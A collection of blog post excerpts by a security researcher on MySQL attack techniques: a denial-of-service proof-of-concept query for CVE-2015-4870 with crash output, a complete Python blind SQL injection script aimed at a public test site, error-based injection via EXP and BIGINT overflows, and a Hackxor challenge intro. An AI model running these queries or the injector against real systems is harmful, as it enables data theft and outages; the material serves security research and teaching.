MySQL

Storing a EXE inside MySQL

It’s possible to store a EXE file inside a MySQL database. You can try this out. For demonstration purposes I’m running MySQL in my localhost. I will be creating a simple database and a table big enough to store the exe file. Since we convert the exe to a hex file the content would be larger than the original exe file. I will be using ‘putty.exe’ as the binary.

CREATE DATABASE testupload;

USE testupload

CREATE TABLE uploads (
 id INT(3) NOT NULL AUTO_INCREMENT,
 name VARCHAR(1000000) NOT NULL,
 PRIMARY KEY (id)
 );

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Unofficial Way of Commenting in MySQL and MariaDB

In MySQL and MariaDB the official methods of commenting would be

--
#
/* comment */

The ‘#’ is also known as a “fragment identifier” and is typically used to identify a portion of an HTML document that sits within a fully qualified URL.
When passing ‘#’ inside a URL to the back-end database we can use ‘%23’.
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MySQL DoS in the Procedure Analyse Function – CVE-2015-4870

This is a crash I found in MySQL versions up to 5.5.45. In the function procedure analyse() I found this crash while passing a sub query.

Syntax:

 
SELECT * FROM `table_name` PROCEDURE ANALYSE((SELECT*FROM(SELECT 1)x),1);

So an Example POC would be:

 
select * from information_schema.tables procedure analyse((select*from(select 1)x),1);

 
---------------------------------------------------------------------------------------------------------------
mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql>
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)
ERROR:
Can't connect to the server

mysql>
---------------------------------------------------------------------------------------------------------------


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Automated Blind SQL Injector

There are lots of tools available for blind injection but when it comes to customizing payloads and bypassing WAFs I thought of writing my own program to extract data based on the true and false boolean conditions.

This is the Python version: https://github.com/OsandaMalith/BSSQLi/blob/master/bssqli.py

import urllib2
import re

# CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
# https://creativecommons.org/licenses/by/2.0/

url = 'http://testphp.vulnweb.com/artists.php?artist=2' # target
payload = '(select user())'; # your payload
trueString = 'Blad3' # Text or html in the true condition
maxLength = 20
result = ''
for i in range(1, maxLength + 1):
    for j in range(32, 127):
        if(chr(j).isupper()):
            continue
        sql = " and substring("+ payload +"," + str(i) + ",1)=" + hex(ord(chr(j))) + "-- -"
        target = url + sql
        req = urllib2.Request(target)
        # If cookies exists
        # req.add_header('Cookie','value=1;value=2')
        page = urllib2.urlopen(req)
        html = page.read()

        try:
            re.search(r'(.*)'+trueString+'(.*?) .*', html, flags=re.DOTALL).group(1)
            print ('Found: ' + chr(j))
            result += chr(j)
        except:
            pass

print (result)

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Error Based SQL Injection Using EXP

Overview

This is another overflow in the DOUBLE data type in MySQL I found. You can refer to my previous post on BIGINT Overflow Error based injections if you want to understand exploiting overflows in extracting data. Also the queries are similar to my previous post. When we take the functions in MySQL I was interested in the mathematical functions. They too should contain some data type to hold values. So I went on testing for functions which would cause any overflow errors and I found out that exp() would cause a overflow error when we pass a large value above 709.

mysql> select exp(709);

+-----------------------+

| exp(709)              |

+-----------------------+

| 8.218407461554972e307 |

+-----------------------+

1 row in set (0.00 sec)



mysql> select exp(710);

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

The exp is the opposite of the ln and log functions of MySQL. If I briefly explain the functionality of these, log and ln and both returns the answer to the natural logarithm or to the base e. In common e is approximated to: e \approx 2.71828183 .

ln(15) = log_ {e} (15) = 2.70805020110221
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BIGINT Overflow Error Based SQL Injection

Overview

I was interested in finding out new techniques that we can use in extracting data via MySQL errors. This is a detailed write-up which will make you understand how I made these queries. When we look how MySQL handles integers I was interested in causing overflows. This is how MySQL stores integers.

(Source: http://dev.mysql.com/doc/refman/5.5/en/integer-types.html)
These overflow errors will cause in MySQL versions 5.5.5 and above only. In below versions integer overflows would result in a silent wraparound.
The data type BIGINT is of 8 bytes in size which means it’s of 64 bits. If we take the maximum signed value of a BIGINT its “0b0111111111111111111111111111111111111111111111111111111111111111”, “0x7fffffffffffffff”, “9223372036854775807” in binary, hex and decimal respectively. Once we evaluate numerical expressions on this value like adding will cause a “BIGINT value is out of range” error. 

mysql> select 9223372036854775807+1; 

ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'

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Hackxor SQL Injection

You can download the complete challenge VM from here. They have provided the online version of first two levels. I was interested in having a look at it. http://cloaknet.csc.kth.se:8080/proxy.jsp

There is a login page and our goal is to extract all the usernames and passwords from the database.

If you try injecting the login form, none of the injections would work. But there was this text called “No account?” when you click it you get this message.

After logging with demo:demo we are taken to “proxypanel.jsp” which displays source, target and date.


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